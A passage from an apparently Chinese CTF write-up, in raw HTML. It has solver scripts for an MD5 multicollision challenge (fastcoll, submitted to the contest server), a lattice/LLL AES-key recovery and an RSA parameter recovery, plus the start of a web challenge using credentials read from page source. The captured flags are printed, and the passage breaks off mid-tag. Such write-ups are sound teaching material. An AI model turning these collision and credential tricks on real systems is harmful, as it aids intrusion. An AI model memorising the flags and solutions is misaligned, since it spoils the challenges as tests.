fastcoll \u751f\u6210 32 \u4e2a payload\uff0c\u53d6\u524d 30 \u4e2a\u3002\n\u7b2c\u4e8c\u7ec4 (D,E,F)\uff1a\u53d6\u7b2c\u4e00\u7ec4\u8dd1\u51fa\u6765\u7684 MD5 \u6458\u8981 ha$(16\u5b57\u8282) + 48\u5b57\u8282 x00 \u4f5c\u4e3a\u524d\u7f00\uff0c\u518d\u8dd1 5 \u6b21\u751f\u6210 32 \u4e2a payload\u3002\n\u7b2c\u4e09\u7ec4 (G,H,I)\uff1a\u53d6\u7b2c\u4e8c\u7ec4\u7684\u6458\u8981 hd + 48\u5b57\u8282 x00 \u4f5c\u4e3a\u524d\u7f00\uff0c\u540c\u6837\u8dd1 5 \u6b21\u751f\u6210 32 \u4e2a\u3002\u672c\u5730\u9884\u8ba1\u7b97\u5b8c\u6240\u6709 90 \u4e2a payload \u540e\uff0c\u8fde\u63a5\u670d\u52a1\u5668\u4e00\u6b21\u6027\u6253\u8fc7\u53bb\u62ff flag\u3002<\/code><\/pre>\n\n\n\n<p>exp.py<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>import os\nimport subprocess\nimport itertools\nfrom hashlib import md5\nfrom pwn import remote, context\n\ncontext.log_level = 'info'\n\ndef get_multicollisions(prefix_bytes, num_blocks=5):\n    blocks = &#91;]\n    current_prefix = prefix_bytes\n\n    exe_name = 'fastcoll.exe' if os.name == 'nt' else 'fastcoll'\n    fastcoll_path = os.path.join(os.path.abspath(os.path.dirname(__file__)), exe_name)\n\n    if not os.path.exists(fastcoll_path):\n        fastcoll_path = exe_name\n\n    for i in range(num_blocks):\n        with open('prefix.bin', 'wb') as f:\n            f.write(current_prefix)\n\n        subprocess.run(\n            &#91;fastcoll_path, '-p', 'prefix.bin', '-o', 'out1.bin', 'out2.bin'], \n            check=True, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL\n        )\n\n        with open('out1.bin', 'rb') as f: m1 = f.read()\n        with open('out2.bin', 'rb') as f: m2 = f.read()\n\n        blocks.append((m1&#91;-128:], m2&#91;-128:]))\n        current_prefix = m1 \n\n    suffixes = &#91;]\n    for combo in itertools.product(*blocks):\n        suffixes.append(b''.join(combo))\n\n    return suffixes\n\ndef main():\n    prefix_1 = b'x00' * 64 \n    sufs_1 = get_multicollisions(prefix_1, 5)\n    blocks_1 = &#91;prefix_1 + suf for suf in sufs_1]\n    ha = md5(blocks_1&#91;0]).digest()\n\n    pad48 = b'x00' * 48\n    prefix_2 = ha + pad48\n    sufs_2 = get_multicollisions(prefix_2, 5)\n    blocks_2 = &#91;pad48 + suf for suf in sufs_2]\n    hd = md5(ha + blocks_2&#91;0]).digest()\n\n    prefix_3 = hd + pad48\n    sufs_3 = get_multicollisions(prefix_3, 5)\n    blocks_3 = &#91;pad48 + suf for suf in sufs_3]\n\n    for f in &#91;'prefix.bin', 'out1.bin', 'out2.bin']:\n        if os.path.exists(f): os.remove(f)\n\n    r = remote('nc1.ctfplus.cn', 30531)\n\n    for i in range(10):\n        A, B, C = blocks_1&#91;i*3], blocks_1&#91;i*3+1], blocks_1&#91;i*3+2]\n        D, E, F = blocks_2&#91;i*3], blocks_2&#91;i*3+1], blocks_2&#91;i*3+2]\n        G, H, I = blocks_3&#91;i*3], blocks_3&#91;i*3+1], blocks_3&#91;i*3+2]\n\n        r.sendlineafter(b'A &gt; ', A.hex().encode())\n        r.sendlineafter(b'B &gt; ', B.hex().encode())\n        r.sendlineafter(b'C &gt; ', C.hex().encode())\n        r.sendlineafter(b'D &gt; ', D.hex().encode())\n        r.sendlineafter(b'E &gt; ', E.hex().encode())\n        r.sendlineafter(b'F &gt; ', F.hex().encode())\n        r.sendlineafter(b'G &gt; ', G.hex().encode())\n        r.sendlineafter(b'H &gt; ', H.hex().encode())\n        r.sendlineafter(b'I &gt; ', I.hex().encode())\n\n    r.interactive()\n\nif __name__ == '__main__':\n    main()<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2026\/03\/image-244-1024x145.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"145\" data-original=\"https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2026\/03\/image-244-1024x145.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-3255\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<pre class=\"wp-block-code\"><code> xmctf{96e7bafb-0d65-43bc-911f-bebb99b86f12}<\/code><\/pre>\n\n\n\n<h2 class=\"wp-block-heading\">sda<\/h2>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2026\/03\/image-245.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"885\" height=\"569\" data-original=\"https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2026\/03\/image-245.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-3256\"  sizes=\"auto, (max-width: 885px) 100vw, 885px\" \/><\/div><\/figure>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2026\/03\/image-246.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"950\" height=\"763\" data-original=\"https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2026\/03\/image-246.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-3257\"  sizes=\"auto, (max-width: 950px) 100vw, 950px\" \/><\/div><\/figure>\n\n\n\n<p>\u9898\u76ee\u7ed9\u51fa\u4e86\u4e09\u7ec4\u5df2\u77e5\u53c2\u6570<br>$$<br>A_i \u548c B_i\u3002\u7531\u4e8e A_i \u7684\u6570\u503c\u4e0d\u5927\uff08\u7ea6137\u4f4d\uff09<br>$$<br>\u53ef\u4ee5\u76f4\u63a5\u5206\u89e3\u8d28\u56e0\u6570\u5e76\u6c42\u51fa\u6b27\u62c9\u51fd\u6570<br>$$<br>phi(A_i)<br>$$<br>\u52a0\u5bc6\u5728\u4e8e\u4e0b\u9762\u8fd9\u4e2a\u7b49\u5f0f\u548c\u7ea6\u675f\uff1a<br>$$<br>B_i x_i^2 &#8211; y^2 phi(A_i) = z_i<br>$$<\/p>\n\n\n\n<p>$$<br>\u9898\u76ee\u660e\u786e\u9650\u5236\u4e86z_i\u662f\u4e00\u4e2a\u6781\u5c0f\u503c\uff08\u91cf\u7ea7\u5728A^{1\/4}\u5de6\u53f3\uff09\u3002\u6700\u540e\uff0c\u811a\u672c\u5c06y^2 + x_1^2 x_2^2 x_3^2\u7684\u7ed3\u679c\u4f5c\u4e3a\u79cd\u5b50\u751f\u6210 AES \u5bc6\u94a5<br>$$<\/p>\n\n\n\n<p>\u5bf9 flag \u8fdb\u884c\u4e86 CBC \u6a21\u5f0f\u52a0\u5bc6<\/p>\n\n\n\n<p>\u601d\u8def<br>$$<br>\u4ee4 X_i = x_i^2\uff0cY = y^2\u3002\u65e2\u7136 z_i \u6781\u5c0f<br>$$<br>\u8fd9\u5c31\u53ef\u4ee5\u8f6c\u5316\u4e3a\u4e00\u4e2a\u5bfb\u627e\u683c\u4e2d\u77ed\u5411\u91cf\u7684\u95ee\u9898\u3002 \u4e3a\u4e86\u8ba9\u77e9\u9635\u5404\u5217\u7684\u6570\u503c\u8303\u56f4\u5e73\u8861<br>$$<br>\u56e0\u4e3a z_i \u7684\u754c\u7ea6\u7b49\u4e8e A^{1\/4} cdot Y<br>$$<br>\u6211\u4eec\u9700\u8981\u7ed9 Y\u5bf9\u5e94\u7684\u5217\u4e58\u4e0a\u4e00\u4e2a\u6743\u91cd<br>$$<br>W approx A_1^{1\/4}<br>$$<br>\u6784\u9020\u57fa\u7840\u683c\u77e9\u9635\u5982\u4e0b\uff1a<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2026\/03\/image-247.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"335\" height=\"125\" data-original=\"https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2026\/03\/image-247.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-3258\"  sizes=\"auto, (max-width: 335px) 100vw, 335px\" \/><\/div><\/figure>\n\n\n\n<p><br>\u7528 LLL \u7b97\u6cd5\u5bf9\u77e9\u9635\u8fdb\u884c\u89c4\u7ea6\u540e\uff0c\u63d0\u53d6\u51fa\u77ed\u5411\u91cf\uff0c\u518d\u4e58\u56de\u539f\u77e9\u9635\u7684\u9006\u77e9\u9635\uff0c\u5c31\u80fd\u5254\u9664\u6743\u91cd\uff0c\u76f4\u63a5\u8fd8\u539f\u51fa Y \u548c\u5bf9\u5e94\u7684 X1, X2, X3\u3002\u6700\u540e\u6062\u590d AES \u5bc6\u94a5\u89e3\u5bc6\u5373\u53ef\u3002<\/p>\n\n\n\n<p>exp.sage<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>from sage.all import *\nfrom Crypto.Util.number import long_to_bytes\nfrom Crypto.Cipher import AES\nfrom Crypto.Util.Padding import unpad\nimport hashlib\n\nA1 = 234110215243875326749544596075512335544257\nB1 = 68765596672109672407420253033782942222910  \nA2 = 636185906634748653451789798738597280632127\nB2 = 131860738134887128678021271054606611917493 \nA3 = 905712574946398586494048707872100065355613\nB3 = 197958111431918701470218006359610095848736\n\nAs = &#91;A1, A2, A3]\nBs = &#91;B1, B2, B3]\n\nphis = &#91;]\nfor Ai in As:\n    p, q = factor(Ai)\n    phis.append((p&#91;0] - 1) * (q&#91;0] - 1))\n\nW = int(A1**(1\/4))\n\nM = Matrix(ZZ, &#91;\n    &#91;W, -phis&#91;0], -phis&#91;1], -phis&#91;2]],\n    &#91;0, B1, 0, 0],\n    &#91;0, 0, B2, 0],\n    &#91;0, 0, 0, B3]\n])\n\nL = M.LLL()\n\nfor row in L:\n    WY = abs(row&#91;0])\n    if WY != 0 and WY % W == 0:\n        Y = WY \/\/ W\n        v = Matrix(QQ, 1, 4, list(row))\n\n        try:\n            res = v * M.inverse()\n        except:\n            continue\n\n        Y_cand = abs(res&#91;0, 0])\n        X1 = abs(res&#91;0, 1])\n        X2 = abs(res&#91;0, 2])\n        X3 = abs(res&#91;0, 3])\n\n        if Y_cand == Y and X1.denominator() == 1 and X2.denominator() == 1 and X3.denominator() == 1:\n            Y_val = ZZ(Y_cand)\n            X1_val = ZZ(X1)\n            X2_val = ZZ(X2)\n            X3_val = ZZ(X3)\n\n            key_material_int = Y_val + X1_val * X2_val * X3_val\n            key_material_bytes = long_to_bytes(int(key_material_int))\n            aes_key = hashlib.sha256(key_material_bytes).digest()&#91;:16]\n\n            hex_data = \"93192f46a00b2dade984ca758706b00681263a8536d8051aff0206d257ce4c2aad6bc017138d4c7aeaed5c8fc2c1ea2f3cec3fbd9201bb5844fa8143d6630944\"\n            iv = bytes.fromhex(hex_data&#91;:32])\n            ciphertext = bytes.fromhex(hex_data&#91;32:])\n\n            cipher = AES.new(aes_key, AES.MODE_CBC, iv=iv)\n            try:\n                pt = unpad(cipher.decrypt(ciphertext), AES.block_size)\n                print(pt.decode())\n                break\n            except ValueError:\n                continue<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2026\/03\/image-248.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"680\" height=\"480\" data-original=\"https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2026\/03\/image-248.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-3259\"  sizes=\"auto, (max-width: 680px) 100vw, 680px\" \/><\/div><\/figure>\n\n\n\n<pre class=\"wp-block-code\"><code>xmctf{1f1f595c6849030aad5eee38f856d8ff}<\/code><\/pre>\n\n\n\n<h2 class=\"wp-block-heading\">\u795e\u79d8\u5b66<\/h2>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2026\/03\/image-249.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"646\" height=\"600\" data-original=\"https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2026\/03\/image-249.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-3260\"  sizes=\"auto, (max-width: 646px) 100vw, 646px\" \/><\/div><\/figure>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2026\/03\/image-250.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"950\" height=\"764\" data-original=\"https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2026\/03\/image-250.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-3261\"  sizes=\"auto, (max-width: 950px) 100vw, 950px\" \/><\/div><\/figure>\n\n\n\n<p>RSA\u52a0\u89e3\u5bc6\u53cd\u8f6c\uff1a\u9898\u76ee\u4e2d\u7684<br>$$<br>e = inverse(c, (p-1)*(q-1))<br>$$<br>\u8bf4\u660e\u53c2\u6570 <code>c<\/code> \u5b9e\u9645\u4e0a\u662f\u7528\u6765\u89e3\u5bc6\u7684\u79c1\u94a5\u6307\u6570\uff0c\u53ea\u8981\u7b97\u51fa <code>c<\/code> \u5c31\u80fd\u76f4\u63a5<\/p>\n\n\n\n<p><code>pow(cipher, c, n)<\/code> \u89e3\u5bc6\u3002<\/p>\n\n\n\n<p>\u591a\u9879\u5f0f\u91cf\u7ea7\u5dee\u8fd8\u539f\uff1a\u9898\u76ee\u7ed9\u51fa\u4e86\u6c42\u5bfc\u540e\u7684\u503c<br>$$<br>deriv1_num = 3<em>x1^2 &#8211; 2<\/em>a1<em>x1 + b1<br>$$<br>\u8f6c\u6362\u4e00\u4e0b\u516c\u5f0f\u5f97\u5230\uff1a<br>$$<br>a1 = (3<\/em>x1^2 &#8211; deriv1_num + b1) \/ (2<em>x1)<br>$$<br>\u7531\u4e8e <code>x1<\/code> \u662f 512 \u4f4d\u7684\u5927\u6570\uff0c\u800c <code>b1<\/code> \u53ea\u6709 120 \u4f4d\uff0c\u5206\u5f0f `b1 \/ (2<\/em>x1)<code>\u7684\u503c\u6781\u5c0f\uff0c\u8d8b\u8fd1\u4e8e0\u3002\u56e0\u6b64\u53ef\u4ee5\u76f4\u63a5\u7528\u6574\u9664 $$ a1 \u2248 (3*x1^2 - deriv1_num) \/\/ (2*x1) $$ \u8fd8\u539f\u51fa<\/code>a1` \u7684\u503c\u3002<\/p>\n\n\n\n<p>\u9690\u5f0f\u6761\u4ef6\u53cd\u63a8\uff1a\u4ee3\u5165 <code>a1<\/code> \u7b97\u51fa\u7cbe\u786e\u7684 <code>b1<\/code> \u540e\uff0c\u5229\u7528\u9690\u5f0f\u6761\u4ef6 <code>poly(x1) = 0<\/code> \u53cd\u63a8<br>$$<br>x1^3 &#8211; a1<em>x1^2 + b1<\/em>x1 &#8211; k*n<br>$$<br>\u914d\u5408\u7206\u7834 8 \u4f4d\u7684\u7d20\u6570 <code>k<\/code> \u5373\u53ef\u62ff\u5230\u771f\u5b9e\u7684 <code>c<\/code><\/p>\n\n\n\n<p>exp.py<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>from Crypto.Util.number import long_to_bytes, isPrime\n\nn = 63407394080105297388278430339692150920405158535377818019441803333853224630295862056336407010055412087494487003367799443217769754070745006473326062662322624498633283896600769211094059989665020951007831936771352988585565884180663310304029530702695576386164726400928158921458173971287469220518032325956366276127\nx1 = 3481408902400626584294863390184557833125008467348169645656825368985677578418186933223051810792813745190000132321911937970968840332589150965113386330575858\nderiv1_num = 36360623837143006554133449776905822223850034204333042340303731846698251185379183585401025894584873826284649058526470710038176516677326058549625930550928515944115160614909195746688504416967586844354012895944251800672195553936202084073217078119494546421088598245791873936703883718926122761577400400368341859847\ncipher = 17359360992646515022812225990358117265652240629363564764503325024700251560440679272576574598620940996876220276588413345495658258508097150181947839726337961689195064024953824539654084620226127592330054674517861032601638881355220119605821814412919221685287567648072575917662044603845424779210032794782725398473\n\ndef solve():\n    x1_sq = x1 * x1\n    x1_cb = x1_sq * x1\n    primes = &#91;i for i in range(2, 256) if isPrime(i)]\n\n    for k in primes:\n        num_lower = (2**119) - deriv1_num + 3 * x1_sq\n        num_upper = (2**120) - deriv1_num + 3 * x1_sq\n        den = 2 * x1\n\n        low_a1 = (num_lower + den - 1) \/\/ den if num_lower &gt; 0 else 0\n        up_a1 = num_upper \/\/ den \n\n        start = max(2**119, low_a1)\n        end = min(2**120, up_a1)\n\n        if start &lt;= end:\n            for a1 in range(start, end + 1):\n                if 2**119 &lt;= a1 &lt;= 2**120:\n                    b1 = deriv1_num - 3 * x1_sq + 2 * a1 * x1\n                    if 2**119 &lt;= b1 &lt;= 2**120:\n                        c = x1_cb - a1 * x1_sq + b1 * x1 - k * n\n                        if c &gt; 0:\n                            try:\n                                m = pow(cipher, c, n)\n                                flag = long_to_bytes(m).decode('utf-8', errors='ignore')\n                                if 'xmctf{' in flag.lower():\n                                    print(flag)\n                                    return\n                            except Exception:\n                                pass\n\nif __name__ == '__main__':\n    solve()<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2026\/03\/image-251-1024x81.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"81\" data-original=\"https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2026\/03\/image-251-1024x81.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-3262\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<pre class=\"wp-block-code\"><code>xmctf{e6d787beb9230217e692e130f718cdeb}<\/code><\/pre>\n\n\n\n<h1 class=\"wp-block-heading\">Web<\/h1>\n\n\n\n<h2 class=\"wp-block-heading\">only real<\/h2>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2026\/03\/image-252-1024x409.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"409\" data-original=\"https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2026\/03\/image-252-1024x409.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-3263\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<p>\u8fd9\u4e2a\u9898\u76ee\u5e94\u8be5\u9884\u671f\u89e3\u5e94\u8be5\u662f\u6587\u4ef6\u4e0a\u4f20\uff0c\u6211\u4e0a\u4f20\u76ee\u51fa\u6765\u4f46\u662f\u6211\u770b\u5e94\u8be5\u662f\u51fa\u9898\u4eba .sh\u542f\u52a8\u811a\u672c\u6709\u95ee\u9898 \u628aflag\u5199\u5165web\u76ee\u5f55\u4e86<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2026\/03\/image-253-1024x528.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"528\" data-original=\"https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2026\/03\/image-253-1024x528.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-3264\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<p>\u767b\u5f55\u770b\u6e90\u7801\u53ef\u4ee5\u53d1\u73b0\u767b\u5f55\u7528\u6237\u540d\u548c\u5bc6\u7801<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2026\/03\/image-254.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"976\" height=\"506\" data-original=\"https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2026\/03\/image-254.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-3265\"  sizes=\"auto, (max-width: 976px) 100vw, 976px\" \/><\/div><\/figure>\n\n\n\n<p>xmuser\/123456<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2026\/03\/image-255-1024x446.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"446\" data-original=\"https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2026\/03\/image-255-1024x446.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-3266\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<p>\u4f46\u662f\u4f60\u770b\u626b\u63cf\u51fa\u6765flag.php\u8bbf\u95ee\u5c31\u884c<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper 